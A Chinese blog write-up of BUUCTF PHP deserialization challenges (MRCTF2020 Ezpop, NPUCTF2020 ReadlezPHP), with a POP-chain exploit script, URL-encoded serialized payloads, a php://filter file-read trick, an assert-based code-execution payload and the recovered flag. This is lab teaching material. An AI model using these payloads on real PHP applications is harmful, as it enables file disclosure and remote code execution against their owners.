首页 > 其他分享 >buu反序列化

buu反序列化

时间:2024-03-21 21:00:38浏览次数:27  
标签:function php 3A% buu file array 序列化 public

反序列化

[MRCTF2020]Ezpop 简单的pop

查看源码

用反序列化触发wakeup方法,preg_match将$this->source进行字符串正则匹配,$show1会被当成字符串 进而触发tostring

tostring是把对象当成字符串调用时被触发,

$show = new Show();
$show1=new Show();
$show->source=$show1;

get方法是当访问一个不可访问的对象或方法时被触发

$test=new Test();
$show1->str=$test;

get方法被触发,$p被当成函数来调用,触发invoke方法

$modifier=new Modifier();
$test->p=$modifier;

invoke方法会调用append,append方法中有incloud,所以用伪协议来获取flag

<?php
class Modifier{
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$show = new Show();
$show1=new Show();
$show->source=$show1;

$test=new Test();
$show1->str=$test;

$modifier=new Modifier();
$test->p=$modifier;

echo urlencode(serialize($show));

运行

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

在url中传参?pop

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2Q3Mjg5MjQzLTkzMWEtNGU2OS1iNzIwLWYxYzYzYWVlZjY4NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

Base64解码

<?php
class Flag{
    private $flag= "flag{d7289243-931a-4e69-b720-f1c63aeef685}";
}
echo "Help Me Find FLAG!";
?>

[NPUCTF2020]ReadlezPHP 动态函数

查看源码,构造反序列化:echo serialize($c);

echo serialize($c);
O:8:"HelloPhp":2:{s:1:"a";s:11:"Y-m-d h:i:s";s:1:"b";s:4:"date";}

assert是用来避免显而易见的错误的

由$b($a) 可以构造$b=assert,$a=phpinfo ->assert(phpinfo())

$b=assert;
$a=phpinfo();
$d=assert(phpinfo());
echo serialize($d);

url传参

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在phpinfo页面中搜索得到flag

[EIS 2019]EzPOP 半

标签:function,php,3A%,buu,file,array,序列化,public
From: https://www.cnblogs.com/ningweiyu/p/18088230

相关文章

  • requests.post传的data如果是直接使用python dict封装,有些服务端接收不了这种数据类型
    平时在自己的php项目里,使用dict方式组装data,然后requests.post,一点问题都没有。但是调了后端一个java的微服务接口,结果就一直报错422: 最后问了一下开发,得到提示“python好像还有个毛病,python的json对象转字符串的时候,转出来的字符串不是标准json字符串,还要做个字符串处理,变成......
  • 【漏洞复现】1. WebLogic 反序列化漏洞(CVE-2019-2890)复现与分析
    文章目录1.基础知识2.复现2.1漏洞介绍漏洞影响版本:2.2漏洞原理分析2.3漏洞复现2.3.1环境搭建2.3.2漏洞验证2.3.3漏洞利用2.3.4POC分析2.4漏洞修复1.基础知识WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间......
  • Newtonsoft.Json/Json.NET忽略序列化时的意外错误
    在.NET中Newtonsoft.Json(Json.NET)是我们常用来进行Json序列化与反序列化的库。而在使用中常会遇到反序列化Json时,遇到不规则的Json数据解构而抛出异常。Newtonsoft.Json 支持序列化和反序列化过程中的错误处理。允许您捕获错误并选择是处理它并继续序列化,还是让错误冒泡并抛......
  • URLDNS反序列化利用
    这是java的原生利用链,通常用于反序列化的验证,因为是原生态不存在版本限制HashMap结合URL触发的DNS检查思路利用链HashMap-->readObject()HashMap-->hash()URL-->hashcode()URL-->getByName()进行域名解析的函数利用分析首先新建一个DnsTester类,new一个Hash......
  • BUU之misc入门
    BUU之misc题目你竟然赶我走给了个附件,就是这个表情包。。010打开,Ctrl+F搜flag直接秒了flagISflag{stego_is_s0_bor1ing}题目来首歌吧打开附件是一首歌,魔性小猫,听着听着发现有摩斯电码的声音,打开Audacity看看发现音频分了左右声道对应----.题目金2+1胖附件......
  • C# 中使对象序列化/反序列化 Json 支持使用派生类型以及泛型的方式
    C#中使对象序列化/反序列化Json支持使用派生类型以及泛型方式废话#前言#为啥想写这个博客最近自己写的框架有用到这个类似工作流,支持节点编码自定义,动态运行自定义.尽量减少动态解析这就需要确定类型.有什么好的奇思妙想可以一起来讨论噢(现在还是毛坯,测......
  • buuctf web做题记录 基础sql注入
    buuctf做题记录[SUCTF2019]EasySQL1先考虑堆叠查询1;showdatabases;Array([0]=>1)Array([0]=>ctf)Array([0]=>ctftraining)Array([0]=>information_schema)Array([0]=>mysql)Array([0]=>performance_schema)Array([0]......
  • buu第四页笔记
    1、护网杯_2018_gettingstart 64位,RELRO半开,Canary,NX,PIE全开 就是普通栈溢出   Exp:fromstructimportpackfromLibcSearcherimport*frompwnimport*#context(os='linux',arch='amd64',log_level='debug')context(os='linux......
  • 资源加载和序列化
    一切加载最后都要跑到LoadPackageInternal:创建Linker序列化(LoadAllObjects){ FUObjectSerializeContext*InOutLoadContext=LoadContext; Linker=GetPackageLinker(InOuter,PackagePath,LoadFlags,nullptr,InReaderOverride,&InOutLoadContext,ImportLinker,In......
  • FastJson反序列化3-1.2.25绕过
    在1.2.25中,主要添加了config.checkAutoType(typeName,null)函数,所以从这里开始查看检查逻辑;为了方便,先看POC;publicvoidbyPass1(){Strings1="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{......